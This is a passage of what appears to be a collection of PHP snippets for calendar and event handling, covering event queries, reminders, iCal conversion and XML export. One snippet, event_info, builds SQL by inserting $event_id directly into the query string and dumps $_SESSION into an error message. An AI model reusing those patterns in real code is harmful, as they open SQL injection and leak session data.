'C_CONTENT_MAIL', '`C_CONTENT_MAIL`', 201, -1, FALSE, '`C_CONTENT_MAIL`', FALSE);\n\t\t$this->fields['C_CONTENT_MAIL'] =& $this->C_CONTENT_MAIL;\n\n\t\t// C_FK_BROWSE\n\t\t$this->C_FK_BROWSE = new cField('t_event', 't_event', 'x_C_FK_BROWSE', 'C_FK_BROWSE', '`C_FK_BROWSE`', 200, -1, FALSE, '`C_FK_BROWSE`', FALSE);\n\t\t$this->fields['C_FK_BROWSE'] =& $this->C_FK_BROWSE;\n\n\t\t// FK_ARRAY_TINBAI\n\t\t$this->FK_ARRAY_TINBAI = new cField('t_event', 't_event', 'x_FK_ARRAY_TINBAI', 'FK_ARRAY_TINBAI', '`FK_ARRAY_TINBAI`', 200, -1, FALSE, '`FK_ARRAY_TINBAI`', FALSE);\n\t\t$this->fields['FK_ARRAY_TINBAI'] =& $this->FK_ARRAY_TINBAI;\n\n\t\t// FK_ARRAY_CONGTY\n\t\t$this->FK_ARRAY_CONGTY = new cField('t_event', 't_event', 'x_FK_ARRAY_CONGTY', 'FK_ARRAY_CONGTY', '`FK_ARRAY_CONGTY`', 200, -1, FALSE, '`FK_ARRAY_CONGTY`', FALSE);\n\t\t$this->fields['FK_ARRAY_CONGTY'] =& $this->FK_ARRAY_CONGTY;\n\t}", "public function get_event($id, $reminder = null)\n {\n if (!is_null($reminder)) {\n $qid = $this->query('SELECT `eid` FROM '.$this->Tbl['cal_reminder'].' WHERE `ref`=\"evt\" AND id='.doubleval($reminder));\n list($id) = $this->fetchrow($qid);\n if (!$id) {\n return array();\n }\n }\n $id = doubleval($id);\n\n // Allows to retrieve events from calendars, which are shared with us\n $gidFilter = $this->getGroupAndShareFilter(0);\n\n $query = 'SELECT e.`id`,e.`id` `eid`,e.uid ,UNIX_TIMESTAMP(e.starts) `start`, UNIX_TIMESTAMP(e.ends) `end`, e.`starts`, e.`ends`'\n .',e.`title`,e.`description`,e.`location`,e.`type`,e.`status`,e.`opaque`,e.`gid`,e.`uuid`, fs.`val` `colour`, eg.`type` `calendar_type`'\n .' FROM '.$this->Tbl['cal_event'].' e'\n .' LEFT JOIN '.$this->Tbl['cal_group'].' eg ON eg.`gid`=e.`gid`'\n .' LEFT JOIN '.$this->Tbl['user_foldersettings'].' fs ON fs.`fid`=e.`gid` AND fs.`handler`=\"calendar\" AND fs.`key`=\"foldercolour\" AND fs.uid='.$this->uid\n .' WHERE ('.$gidFilter.') AND e.id='.$id;\n $event = $this->assoc($this->query($query));\n $event['reminders'] = array();\n $qid = $this->query('SELECT `id`,`time`,`mode`,`text`,`mailto`,`smsto` FROM '.$this->Tbl['cal_reminder']\n .' WHERE `uid`='.$this->uid.' AND `eid`='.$id.' AND `ref`=\"evt\" ORDER BY `mode` DESC, `time` DESC');\n while ($line = $this->assoc($qid)) {\n $event['reminders'][] = $line;\n if (!is_null($reminder) && $line['id'] == $reminder) {\n $event['reminder_text'] = $line['text'];\n }\n }\n $event['repetitions'] = array();\n $qid = $this->query('SELECT `id`,`type`,`repeat`,`extra`,`until`,IF (`until` IS NOT NULL, unix_timestamp(`until`), 0) `until_unix`'\n .' FROM '.$this->Tbl['cal_repetition'].' WHERE `eid`='.$id.' AND `ref`=\"evt\" ORDER BY `id` ASC');\n while ($line = $this->assoc($qid)) {\n $event['repetitions'][] = $line;\n }\n return $event;\n }", "public static function initialize_calendar(){\n \n $event_array[] = array();\n $schedules = \\App\\Event::get();\n if(!empty($schedules)){\n foreach($schedules as $schedule){\n $event_array[] = array(\n 'id' => uniqid(),\n 'title' => $schedule->description,\n 'start' => date('Y-m-d', strtotime($schedule->event_date)),\n 'end' => date('Y-m-d', strtotime($schedule->event_date)),\n 'color' => \"lightblue\",\n \"textEscape\"=> 'false' ,\n 'textColor' => 'black',\n );\n }\n return $get_schedule = json_encode($event_array);\n }\n }", "function agenda_get_item($event_id)\n{\n\t$tbl = get_conf('mainTblPrefix') . 'event AS event INNER JOIN ' \n\t\t. get_conf('mainTblPrefix') . 'rel_event_recipient AS rel_event_recipient' \n\t\t. ' ON event.id = rel_event_recipient.event_id';\n\n $sql = \"SELECT \tevent.id \t\t\t\t\t\tAS id,\n\t\t\t\t\tevent.title \t\t\t\t\tAS title,\n\t\t\t\t\tevent.description \t\t\t\tAS description,\n\t\t\t\t\tevent.start_date \t\t\t\tAS old_start_date,\n\t\t\t\t\tevent.end_date \t\t\t\t\tAS old_end_date,\n\t\t\t\t\tevent.author_id \t\t\t\tAS author_id,\n\t\t\t\t\trel_event_recipient.visibility \tAS visibility,\n\t\t\t\t\tevent.master_event_id\t\t \tAS master_event_id,\n\t\t\t\t\trel_event_recipient.user_id\t\tAS user_id,\n\t\t\t\t\trel_event_recipient.group_id\tAS group_id\n FROM \" . $tbl . \"\n\n WHERE event.id = \" . (int) $event_id ;\n\n $event = claro_sql_query_get_single_row($sql);\n\n if ($event) return $event;\n else return claro_failure::set_failure('EVENT_ENTRY_UNKNOW');\n\n}", "public static function get_module_events($cid = NULL, $module_id = NULL) {\r\n global $uid, $course_id;\r\n if (is_null($cid)) {\r\n $cid = $course_id;\r\n }\r\n if (is_null($module_id)) {\r\n return self::get_all_course_events($cid);\r\n }\r\n return Database::get()->queryArray(\"SELECT id, title, content FROM personal_calendar WHERE user_id = ? AND reference_obj_course = ? \", $uid, $cid);\r\n }", "private function _ParseASEventToVEvent($data, $id) {\n $vevent = new iCalComponent();\n $vevent->SetType(\"VEVENT\");\n\n if (isset($data->dtstamp)) {\n $vevent->AddProperty(\"DTSTAMP\", gmdate(\"Ymd\\THis\\Z\", $data->dtstamp));\n $vevent->AddProperty(\"LAST-MODIFIED\", gmdate(\"Ymd\\THis\\Z\", $data->dtstamp));\n }\n if (isset($data->starttime)) {\n if ($data->alldayevent == 1) {\n $vevent->AddProperty(\"DTSTART\", $this->_GetDateFromUTC(\"Ymd\", $data->starttime, $data->timezone), array(\"VALUE\" => \"DATE\"));\n }\n else {\n $vevent->AddProperty(\"DTSTART\", gmdate(\"Ymd\\THis\\Z\", $data->starttime));\n }\n }\n if (isset($data->subject)) {\n $vevent->AddProperty(\"SUMMARY\", $data->subject);\n }\n if (isset($data->location)) {\n $vevent->AddProperty(\"LOCATION\", $data->location);\n }\n if (isset($data->endtime)) {\n if ($data->alldayevent == 1) {\n $vevent->AddProperty(\"DTEND\", $this->_GetDateFromUTC(\"Ymd\", $data->endtime, $data->timezone), array(\"VALUE\" => \"DATE\"));\n $vevent->AddProperty(\"X-MICROSOFT-CDO-ALLDAYEVENT\", \"TRUE\");\n }\n else {\n $vevent->AddProperty(\"DTEND\", gmdate(\"Ymd\\THis\\Z\", $data->endtime));\n $vevent->AddProperty(\"X-MICROSOFT-CDO-ALLDAYEVENT\", \"FALSE\");\n }\n }\n else {\n $vevent->AddProperty(\"X-MICROSOFT-CDO-ALLDAYEVENT\", \"TRUE\");\n }\n if (isset($data->recurrence)) {\n $vevent->AddProperty(\"RRULE\", $this->_GenerateRecurrence($data->recurrence));\n }\n if (isset($data->sensitivity)) {\n switch ($data->sensitivity) {\n case \"0\":\n $vevent->AddProperty(\"CLASS\", \"PUBLIC\");\n break;\n case \"2\":\n $vevent->AddProperty(\"CLASS\", \"PRIVATE\");\n break;\n case \"3\":\n $vevent->AddProperty(\"CLASS\", \"CONFIDENTIAL\");\n break;\n }\n }\n if (isset($data->busystatus)) {\n switch ($data->busystatus) {\n case \"0\": //Free\n $vevent->AddProperty(\"TRANSP\", \"TRANSPARENT\");\n $vevent->AddProperty(\"X-MICROSOFT-CDO-INTENDEDSTATUS\", \"FREE\");\n break;\n case \"1\": //Tentative\n $vevent->AddProperty(\"TRANSP\", \"OPAQUE\");\n $vevent->AddProperty(\"X-MICROSOFT-CDO-INTENDEDSTATUS\", \"TENTATIVE\");\n break;\n case \"2\": //Busy\n $vevent->AddProperty(\"TRANSP\", \"OPAQUE\");\n $vevent->AddProperty(\"X-MICROSOFT-CDO-INTENDEDSTATUS\", \"BUSY\");\n break;\n case \"3\": //Out of office\n $vevent->AddProperty(\"TRANSP\", \"TRANSPARENT\");\n $vevent->AddProperty(\"X-MICROSOFT-CDO-INTENDEDSTATUS\", \"OOF\");\n break;\n case \"4\": //Working elsewhere (not yet in Android)\n $vevent->AddProperty(\"TRANSP\", \"TRANSPARENT\");\n $vevent->AddProperty(\"X-MICROSOFT-CDO-INTENDEDSTATUS\", \"WORKINGELSEWHERE\");\n break;\n }\n }\n if (isset($data->reminder)) {\n $valarm = new iCalComponent();\n $valarm->SetType(\"VALARM\");\n $valarm->AddProperty(\"ACTION\", \"DISPLAY\");\n $trigger = \"-PT\" . $data->reminder . \"M\";\n $valarm->AddProperty(\"TRIGGER\", $trigger);\n $vevent->AddComponent($valarm);\n }\n if (isset($data->rtf)) {\n $rtfparser = new rtf();\n $rtfparser->loadrtf(base64_decode($data->rtf));\n $rtfparser->output(\"ascii\");\n $rtfparser->parse();\n $vevent->AddProperty(\"DESCRIPTION\", $rtfparser->out);\n }\n if (isset($data->meetingstatus) && $data->meetingstatus > 0) {\n switch ($data->meetingstatus) {\n case \"1\":\n $vevent->AddProperty(\"STATUS\", \"TENTATIVE\");\n $vevent->AddProperty(\"X-MICROSOFT-CDO-BUSYSTATUS\", \"TENTATIVE\");\n $vevent->AddProperty(\"X-MICROSOFT-DISALLOW-COUNTER\", \"FALSE\");\n break;\n case \"3\":\n $vevent->AddProperty(\"STATUS\", \"CONFIRMED\");\n $vevent->AddProperty(\"X-MICROSOFT-CDO-BUSYSTATUS\", \"CONFIRMED\");\n $vevent->AddProperty(\"X-MICROSOFT-DISALLOW-COUNTER\", \"FALSE\");\n break;\n case \"5\":\n case \"7\":\n $vevent->AddProperty(\"STATUS\", \"CANCELLED\");\n $vevent->AddProperty(\"X-MICROSOFT-CDO-BUSYSTATUS\", \"CANCELLED\");\n $vevent->AddProperty(\"X-MICROSOFT-DISALLOW-COUNTER\", \"TRUE\");\n break;\n }\n if (isset($data->organizeremail) && isset($data->organizername)) {\n $vevent->AddProperty(\"ORGANIZER\", sprintf(\"MAILTO:%s\", $data->organizeremail), array(\"CN\" => $data->organizername));\n }\n elseif (isset($data->organizeremail)) {\n $vevent->AddProperty(\"ORGANIZER\", sprintf(\"MAILTO:%s\", $data->organizeremail));\n }\n else {\n //Some phones doesn't send the organizeremail, so we gotto get it somewhere else.\n $userDetails = ZPush::GetBackend()->GetCurrentUsername();\n $vevent->AddProperty(\"ORGANIZER\", sprintf(\"MAILTO:%s\", $userDetails['emailaddress']), array(\"CN\" => $userDetails['fullname']));\n }\n if (isset($data->attendees) && is_array($data->attendees)) {\n foreach ($data->attendees as $att) {\n if (isset($att->name)) {\n $vevent->AddProperty(\"ATTENDEE\", sprintf(\"MAILTO:%s\", $att->email), array(\"CN\" => $att->name));\n }\n else {\n $vevent->AddProperty(\"ATTENDEE\", sprintf(\"MAILTO:%s\", $att->email));\n }\n }\n }\n }\n if (isset($data->body) && strlen($data->body) > 0) {\n $vevent->AddProperty(\"DESCRIPTION\", $data->body);\n }\n if (isset($data->asbody->data)) {\n $asbody = stream_get_contents($data->asbody->data);\n if (strlen($asbody) > 0) {\n $vevent->AddProperty(\"DESCRIPTION\", $asbody);\n }\n }\n if (isset($data->categories) && is_array($data->categories)) {\n $vevent->AddProperty(\"CATEGORIES\", implode(\",\", $data->categories));\n }\n\n// X-MICROSOFT-CDO-APPT-SEQUENCE:0\n// X-MICROSOFT-CDO-OWNERAPPTID:2113393086\n// X-MICROSOFT-CDO-IMPORTANCE:1\n// X-MICROSOFT-CDO-INSTTYPE:0\n\n\n return $vevent;\n }", "public function getEventSubscriber();", "protected function getEventsManager() {}", "public static function get_general_course_events($cid = NULL) {\r\n global $uid, $course_id;\r\n if (is_null($cid)) {\r\n $cid = $course_id;\r\n }\r\n return Database::get()->queryArray(\"SELECT id, title, content FROM personal_calendar WHERE user_id = ? AND reference_obj_type = 'course' AND reference_obj_id = ?\", $uid, $cid);\r\n }", "function event_info($dbObj, $event_id, $error_add = \"\") {\n\n\t$sql = \"SELECT * FROM events WHERE id=$event_id\";\n\t\n\t$res = $dbObj->getRow($sql, DB_FETCHMODE_ASSOC);\n\t\n\tif (DB::isError($res)) {\n\t\t$error_add = \" ($error_add)\";\n\t\tdbError(\"Could not retrieve event info$error_add\" . print_r($_SESSION), $res, $sql);\n\t}\n\t \n\treturn $res;\n\t\n}", "function calendar()\n{\n /*\n $groups = getAllEvents();\n $fieldsToConvert = [\"name\", \"description\", \"context\", \"status\"];\n $groups = specialCharsConvertFromAnArray($groups, $fieldsToConvert);\n displaydebug($groups);\n */\n require_once \"view/calendar.php\";\n}", "function iCal2XML(& $calendar) {\n\t/** fix an SimpleXMLElement instance and create root element */\n\t$xmlstr = '<?xml version=\"1.0\" encoding=\"utf-8\"?><icalendar xmlns=\"urn:ietf:params:xml:ns:icalendar-2.0\">';\n\t$xmlstr .= '<!-- created utilizing kigkonsult.se ' . ICALCREATOR_VERSION . ' iCal2XMl (rfc6321) -->';\n\t$xmlstr .= '</icalendar>';\n\t$xml = new SimpleXMLElement($xmlstr);\n\t$vcalendar = $xml->addChild('vcalendar');\n\t/** fix calendar properties */\n\t$properties = $vcalendar->addChild('properties');\n\t$calProps = array('prodid', 'version', 'calscale', 'method');\n\tforeach ($calProps as $calProp) {\n\t\tif (FALSE !== ( $content = $calendar->getProperty($calProp)))\n\t\t\t_addXMLchild($properties, $calProp, 'text', $content);\n\t}\n\twhile (FALSE !== ( $content = $calendar->getProperty(FALSE, FALSE, TRUE)))\n\t\t_addXMLchild($properties, $content[0], 'unknown', $content[1]['value'], $content[1]['params']);\n\t$langCal = $calendar->getConfig('language');\n\t/** prepare to fix components with properties */\n\t$components = $vcalendar->addChild('components');\n\t$comps = array('vtimezone', 'vevent', 'vtodo', 'vjournal', 'vfreebusy');\n\t$eventProps = array('dtstamp', 'dtstart', 'uid',\n\t\t'class', 'created', 'description', 'geo', 'last-modified', 'location', 'organizer', 'priority',\n\t\t'sequence', 'status', 'summary', 'transp', 'url', 'recurrence-id', 'rrule', 'dtend', 'duration',\n\t\t'attach', 'attendee', 'categories', 'comment', 'contact', 'exdate', 'request-status', 'related-to', 'resources', 'rdate',\n\t\t'x-prop');\n\t$todoProps = array('dtstamp', 'uid',\n\t\t'class', 'completed', 'created', 'description', 'geo', 'last-modified', 'location', 'organizer', 'percent-complete', 'priority',\n\t\t'recurrence-id', 'sequence', 'status', 'summary', 'url', 'rrule', 'dtstart', 'due', 'duration',\n\t\t'attach', 'attendee', 'categories', 'comment', 'contact', 'exdate', 'request-status', 'related-to', 'resources', 'rdate',\n\t\t'x-prop');\n\t$journalProps = array('dtstamp', 'uid',\n\t\t'class', 'created', 'dtstart', 'last-modified', 'organizer', 'recurrence-id', 'sequence', 'status', 'summary', 'url', 'rrule',\n\t\t'attach', 'attendee', 'categories', 'comment', 'contact',\n\t\t'description',\n\t\t'exdate', 'related-to', 'rdate', 'request-status',\n\t\t'x-prop');\n\t$freebusyProps = array('dtstamp', 'uid',\n\t\t'contact', 'dtstart', 'dtend', 'duration', 'organizer', 'url',\n\t\t'attendee', 'comment', 'freebusy', 'request-status',\n\t\t'x-prop');\n\t$timezoneProps = array('tzid',\n\t\t'last-modified', 'tzurl',\n\t\t'x-prop');\n\t$alarmProps = array('action', 'description', 'trigger', 'summary',\n\t\t'attendee',\n\t\t'duration', 'repeat', 'attach',\n\t\t'x-prop');\n\t$stddghtProps = array('dtstart', 'tzoffsetto', 'tzoffsetfrom',\n\t\t'rrule',\n\t\t'comment', 'rdate', 'tzname',\n\t\t'x-prop');\n\tforeach ($comps as $compName) {\n\t\tswitch ($compName) {\n\t\t\tcase 'vevent':\n\t\t\t\t$props = & $eventProps;\n\t\t\t\t$subComps = array('valarm');\n\t\t\t\t$subCompProps = & $alarmProps;\n\t\t\t\tbreak;\n\t\t\tcase 'vtodo':\n\t\t\t\t$props = & $todoProps;\n\t\t\t\t$subComps = array('valarm');\n\t\t\t\t$subCompProps = & $alarmProps;\n\t\t\t\tbreak;\n\t\t\tcase 'vjournal':\n\t\t\t\t$props = & $journalProps;\n\t\t\t\t$subComps = array();\n\t\t\t\t$subCompProps = array();\n\t\t\t\tbreak;\n\t\t\tcase 'vfreebusy':\n\t\t\t\t$props = & $freebusyProps;\n\t\t\t\t$subComps = array();\n\t\t\t\t$subCompProps = array();\n\t\t\t\tbreak;\n\t\t\tcase 'vtimezone':\n\t\t\t\t$props = & $timezoneProps;\n\t\t\t\t$subComps = array('standard', 'daylight');\n\t\t\t\t$subCompProps = & $stddghtProps;\n\t\t\t\tbreak;\n\t\t} // end switch( $compName )\n\t\t/** fix component properties */\n\t\twhile (FALSE !== ( $component = $calendar->getComponent($compName))) {\n\t\t\t$child = $components->addChild($compName);\n\t\t\t$properties = $child->addChild('properties');\n\t\t\t$langComp = $component->getConfig('language');\n\t\t\tforeach ($props as $prop) {\n\t\t\t\tswitch ($prop) {\n\t\t\t\t\tcase 'attach': // may occur multiple times, below\n\t\t\t\t\t\twhile (FALSE !== ( $content = $component->getProperty($prop, FALSE, TRUE))) {\n\t\t\t\t\t\t\t$type = ( isset($content['params']['VALUE']) && ( 'BINARY' == $content['params']['VALUE'] )) ? 'binary' : 'uri';\n\t\t\t\t\t\t\tunset($content['params']['VALUE']);\n\t\t\t\t\t\t\t_addXMLchild($properties, $prop, $type, $content['value'], $content['params']);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'attendee':\n\t\t\t\t\t\twhile (FALSE !== ( $content = $component->getProperty($prop, FALSE, TRUE))) {\n\t\t\t\t\t\t\tif (isset($content['params']['CN']) && !isset($content['params']['LANGUAGE'])) {\n\t\t\t\t\t\t\t\tif ($langComp)\n\t\t\t\t\t\t\t\t\t$content['params']['LANGUAGE'] = $langComp;\n\t\t\t\t\t\t\t\telseif ($langCal)\n\t\t\t\t\t\t\t\t\t$content['params']['LANGUAGE'] = $langCal;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t_addXMLchild($properties, $prop, 'cal-address', $content['value'], $content['params']);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'exdate':\n\t\t\t\t\t\twhile (FALSE !== ( $content = $component->getProperty($prop, FALSE, TRUE))) {\n\t\t\t\t\t\t\t$type = ( isset($content['params']['VALUE']) && ( 'DATE' == $content['params']['VALUE'] )) ? 'date' : 'date-time';\n\t\t\t\t\t\t\tunset($content['params']['VALUE']);\n\t\t\t\t\t\t\tforeach ($content['value'] as & $exDate) {\n\t\t\t\t\t\t\t\tif (( isset($exDate['tz']) && // fix UTC-date if offset set\n\t\t\t\t\t\t\t\t\t\tiCalUtilityFunctions::_isOffset($exDate['tz']) &&\n\t\t\t\t\t\t\t\t\t\t( 'Z' != $exDate['tz'] ))\n\t\t\t\t\t\t\t\t\t\t|| ( isset($content['params']['TZID']) &&\n\t\t\t\t\t\t\t\t\t\tiCalUtilityFunctions::_isOffset($content['params']['TZID']) &&\n\t\t\t\t\t\t\t\t\t\t( 'Z' != $content['params']['TZID'] ))) {\n\t\t\t\t\t\t\t\t\t$offset = isset($exDate['tz']) ? $exDate['tz'] : $content['params']['TZID'];\n\t\t\t\t\t\t\t\t\t$date = mktime((int) $exDate['hour'], (int) $exDate['min'], (int) ($exDate['sec'] + iCalUtilityFunctions::_tz2offset($offset)), (int) $exDate['month'], (int) $exDate['day'], (int) $exDate['year']);\n\t\t\t\t\t\t\t\t\tunset($exDate['tz']);\n\t\t\t\t\t\t\t\t\t$exDate = iCalUtilityFunctions::_date_time_string(date('YmdTHis\\Z', $date), 6);\n\t\t\t\t\t\t\t\t\tunset($exDate['unparsedtext']);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t_addXMLchild($properties, $prop, $type, $content['value'], $content['params']);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'freebusy':\n\t\t\t\t\t\twhile (FALSE !== ( $content = $component->getProperty($prop, FALSE, TRUE)))\n\t\t\t\t\t\t\t_addXMLchild($properties, $prop, 'period', $content['value'], $content['params']);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'request-status':\n\t\t\t\t\t\twhile (FALSE !== ( $content = $component->getProperty($prop, FALSE, TRUE))) {\n\t\t\t\t\t\t\tif (!isset($content['params']['LANGUAGE'])) {\n\t\t\t\t\t\t\t\tif ($langComp)\n\t\t\t\t\t\t\t\t\t$content['params']['LANGUAGE'] = $langComp;\n\t\t\t\t\t\t\t\telseif ($langCal)\n\t\t\t\t\t\t\t\t\t$content['params']['LANGUAGE'] = $langCal;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t_addXMLchild($properties, $prop, 'rstatus', $content['value'], $content['params']);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'rdate':\n\t\t\t\t\t\twhile (FALSE !== ( $content = $component->getProperty($prop, FALSE, TRUE))) {\n\t\t\t\t\t\t\t$type = 'date-time';\n\t\t\t\t\t\t\tif (isset($content['params']['VALUE'])) {\n\t\t\t\t\t\t\t\tif ('DATE' == $content['params']['VALUE'])\n\t\t\t\t\t\t\t\t\t$type = 'date';\n\t\t\t\t\t\t\t\telseif ('PERIOD' == $content['params']['VALUE'])\n\t\t\t\t\t\t\t\t\t$type = 'period';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif ('period' == $type) {\n\t\t\t\t\t\t\t\tforeach ($content['value'] as & $rDates) {\n\t\t\t\t\t\t\t\t\tif (( isset($rDates[0]['tz']) && // fix UTC-date if offset set\n\t\t\t\t\t\t\t\t\t\t\tiCalUtilityFunctions::_isOffset($rDates[0]['tz']) &&\n\t\t\t\t\t\t\t\t\t\t\t( 'Z' != $rDates[0]['tz'] ))\n\t\t\t\t\t\t\t\t\t\t\t|| ( isset($content['params']['TZID']) &&\n\t\t\t\t\t\t\t\t\t\t\tiCalUtilityFunctions::_isOffset($content['params']['TZID']) &&\n\t\t\t\t\t\t\t\t\t\t\t( 'Z' != $content['params']['TZID'] ))) {\n\t\t\t\t\t\t\t\t\t\t$offset = isset($rDates[0]['tz']) ? $rDates[0]['tz'] : $content['params']['TZID'];\n\t\t\t\t\t\t\t\t\t\t$date = mktime((int) $rDates[0]['hour'], (int) $rDates[0]['min'], (int) ($rDates[0]['sec'] + iCalUtilityFunctions::_tz2offset($offset)), (int) $rDates[0]['month'], (int) $rDates[0]['day'], (int) $rDates[0]['year']);\n\t\t\t\t\t\t\t\t\t\tunset($rDates[0]['tz']);\n\t\t\t\t\t\t\t\t\t\t$rDates[0] = iCalUtilityFunctions::_date_time_string(date('YmdTHis\\Z', $date), 6);\n\t\t\t\t\t\t\t\t\t\tunset($rDates[0]['unparsedtext']);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tif (isset($rDates[1]['year'])) {\n\t\t\t\t\t\t\t\t\t\tif (( isset($rDates[1]['tz']) && // fix UTC-date if offset set\n\t\t\t\t\t\t\t\t\t\t\t\tiCalUtilityFunctions::_isOffset($rDates[1]['tz']) &&\n\t\t\t\t\t\t\t\t\t\t\t\t( 'Z' != $rDates[1]['tz'] ))\n\t\t\t\t\t\t\t\t\t\t\t\t|| ( isset($content['params']['TZID']) &&\n\t\t\t\t\t\t\t\t\t\t\t\tiCalUtilityFunctions::_isOffset($content['params']['TZID']) &&\n\t\t\t\t\t\t\t\t\t\t\t\t( 'Z' != $content['params']['TZID'] ))) {\n\t\t\t\t\t\t\t\t\t\t\t$offset = isset($rDates[1]['tz']) ? $rDates[1]['tz'] : $content['params']['TZID'];\n\t\t\t\t\t\t\t\t\t\t\t$date = mktime((int) $rDates[1]['hour'], (int) $rDates[1]['min'], (int) ($rDates[1]['sec'] + iCalUtilityFunctions::_tz2offset($offset)), (int) $rDates[1]['month'], (int) $rDates[1]['day'], (int) $rDates[1]['year']);\n\t\t\t\t\t\t\t\t\t\t\tunset($rDates[1]['tz']);\n\t\t\t\t\t\t\t\t\t\t\t$rDates[1] = iCalUtilityFunctions::_date_time_string(date('YmdTHis\\Z', $date), 6);\n\t\t\t\t\t\t\t\t\t\t\tunset($rDates[1]['unparsedtext']);\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} elseif ('date-time' == $type) {\n\t\t\t\t\t\t\t\tforeach ($content['value'] as & $rDate) {\n\t\t\t\t\t\t\t\t\tif (( isset($rDate['tz']) && // fix UTC-date if offset set\n\t\t\t\t\t\t\t\t\t\t\tiCalUtilityFunctions::_isOffset($rDate['tz']) &&\n\t\t\t\t\t\t\t\t\t\t\t( 'Z' != $rDate['tz'] ))\n\t\t\t\t\t\t\t\t\t\t\t|| ( isset($content['params']['TZID']) &&\n\t\t\t\t\t\t\t\t\t\t\tiCalUtilityFunctions::_isOffset($content['params']['TZID']) &&\n\t\t\t\t\t\t\t\t\t\t\t( 'Z' != $content['params']['TZID'] ))) {\n\t\t\t\t\t\t\t\t\t\t$offset = isset($rDate['tz']) ? $rDate['tz'] : $content['params']['TZID'];\n\t\t\t\t\t\t\t\t\t\t$date = mktime((int) $rDate['hour'], (int) $rDate['min'], (int) ($rDate['sec'] + iCalUtilityFunctions::_tz2offset($offset)), (int) $rDate['month'], (int) $rDate['day'], (int) $rDate['year']);\n\t\t\t\t\t\t\t\t\t\tunset($rDate['tz']);\n\t\t\t\t\t\t\t\t\t\t$rDate = iCalUtilityFunctions::_date_time_string(date('YmdTHis\\Z', $date), 6);\n\t\t\t\t\t\t\t\t\t\tunset($rDate['unparsedtext']);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tunset($content['params']['VALUE']);\n\t\t\t\t\t\t\t_addXMLchild($properties, $prop, $type, $content['value'], $content['params']);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'categories':\n\t\t\t\t\tcase 'comment':\n\t\t\t\t\tcase 'contact':\n\t\t\t\t\tcase 'description':\n\t\t\t\t\tcase 'related-to':\n\t\t\t\t\tcase 'resources':\n\t\t\t\t\t\twhile (FALSE !== ( $content = $component->getProperty($prop, FALSE, TRUE))) {\n\t\t\t\t\t\t\tif (( 'related-to' != $prop ) && !isset($content['params']['LANGUAGE'])) {\n\t\t\t\t\t\t\t\tif ($langComp)\n\t\t\t\t\t\t\t\t\t$content['params']['LANGUAGE'] = $langComp;\n\t\t\t\t\t\t\t\telseif ($langCal)\n\t\t\t\t\t\t\t\t\t$content['params']['LANGUAGE'] = $langCal;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t_addXMLchild($properties, $prop, 'text', $content['value'], $content['params']);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'x-prop':\n\t\t\t\t\t\twhile (FALSE !== ( $content = $component->getProperty($prop, FALSE, TRUE)))\n\t\t\t\t\t\t\t_addXMLchild($properties, $content[0], 'unknown', $content[1]['value'], $content[1]['params']);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'created': // single occurence below, if set\n\t\t\t\t\tcase 'completed':\n\t\t\t\t\tcase 'dtstamp':\n\t\t\t\t\tcase 'last-modified':\n\t\t\t\t\t\t$utcDate = TRUE;\n\t\t\t\t\tcase 'dtstart':\n\t\t\t\t\tcase 'dtend':\n\t\t\t\t\tcase 'due':\n\t\t\t\t\tcase 'recurrence-id':\n\t\t\t\t\t\tif (FALSE !== ( $content = $component->getProperty($prop, FALSE, TRUE))) {\n\t\t\t\t\t\t\tif (isset($content['params']['VALUE']) && ( 'DATE' == $content['params']['VALUE'] )) {\n\t\t\t\t\t\t\t\t$type = 'date';\n\t\t\t\t\t\t\t\tunset($content['value']['hour'], $content['value']['min'], $content['value']['sec']);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$type = 'date-time';\n\t\t\t\t\t\t\t\tif (isset($utcDate) && !isset($content['value']['tz']))\n\t\t\t\t\t\t\t\t\t$content['value']['tz'] = 'Z';\n\t\t\t\t\t\t\t\tif (( isset($content['value']['tz']) && // fix UTC-date if offset set\n\t\t\t\t\t\t\t\t\t\tiCalUtilityFunctions::_isOffset($content['value']['tz']) &&\n\t\t\t\t\t\t\t\t\t\t( 'Z' != $content['value']['tz'] ))\n\t\t\t\t\t\t\t\t\t\t|| ( isset($content['params']['TZID']) &&\n\t\t\t\t\t\t\t\t\t\tiCalUtilityFunctions::_isOffset($content['params']['TZID']) &&\n\t\t\t\t\t\t\t\t\t\t( 'Z' != $content['params']['TZID'] ))) {\n\t\t\t\t\t\t\t\t\t$offset = isset($content['value']['tz']) ? $content['value']['tz'] : $content['params']['TZID'];\n\t\t\t\t\t\t\t\t\t$date = mktime((int) $content['value']['hour'], (int) $content['value']['min'], (int) ($content['value']['sec'] + iCalUtilityFunctions::_tz2offset($offset)), (int) $content['value']['month'], (int) $content['value']['day'], (int) $content['value']['year']);\n\t\t\t\t\t\t\t\t\tunset($content['value']['tz'], $content['params']['TZID']);\n\t\t\t\t\t\t\t\t\t$content['value'] = iCalUtilityFunctions::_date_time_string(date('YmdTHis\\Z', $date), 6);\n\t\t\t\t\t\t\t\t\tunset($content['value']['unparsedtext']);\n\t\t\t\t\t\t\t\t} elseif (isset($content['value']['tz']) && !empty($content['value']['tz']) &&\n\t\t\t\t\t\t\t\t\t\t( 'Z' != $content['value']['tz'] ) && !isset($content['params']['TZID'])) {\n\t\t\t\t\t\t\t\t\t$content['params']['TZID'] = 